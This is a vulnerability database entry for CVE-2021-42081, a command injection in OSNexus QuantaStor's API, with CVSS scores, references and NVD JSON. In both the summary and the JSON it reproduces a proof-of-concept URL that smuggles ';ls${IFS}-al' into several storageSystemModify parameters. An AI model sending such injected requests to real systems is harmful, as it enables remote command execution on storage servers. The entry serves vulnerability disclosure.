FKIE_CVE-2021-42081

Vulnerability from fkie_nvd - Published: 2023-07-10 16:15 - Updated: 2025-09-22 07:15
Severity
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Summary
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
References
csirt@divd.nlhttps://csirt.divd.nl/CVE-2021-42081Third Party Advisory
csirt@divd.nlhttps://csirt.divd.nl/DIVD-2021-00020/
csirt@divd.nlhttps://www.osnexus.com/products/software-defined-storageProduct
csirt@divd.nlhttps://www.wbsec.nl/osnexusThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storageProduct
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexusThird Party Advisory
Impacted products
Vendor Product Version
osnexus quantastor *
To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://\u003cIP_ADDRESS\u003e/qstorapi/storageSystemModify?storageSystem=\u0026newName=quantastor\u0026newDescription=;ls${IFS}-al\u0026newLocation=4\u0026newEnclosureLayoutId=5\u0026newDnsServerList=;ls${IFS}-al\u0026externalHostName=\u0026newNTPServerList=;ls${IFS}-al"
    }
  ],
  "id": "CVE-2021-42081",
  "lastModified": "2025-09-22T07:15:39.650",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "csirt@divd.nl",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2023-07-10T16:15:47.583",
  "references": [
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42081"
    },
    {
      "source": "csirt@divd.nl",
      "url": "https://csirt.divd.nl/DIVD-2021-00020/"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42081"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://www.divd.nl/DIVD-2021-00020"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    }
  ],
  "sourceIdentifier": "csirt@divd.nl",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "csirt@divd.nl",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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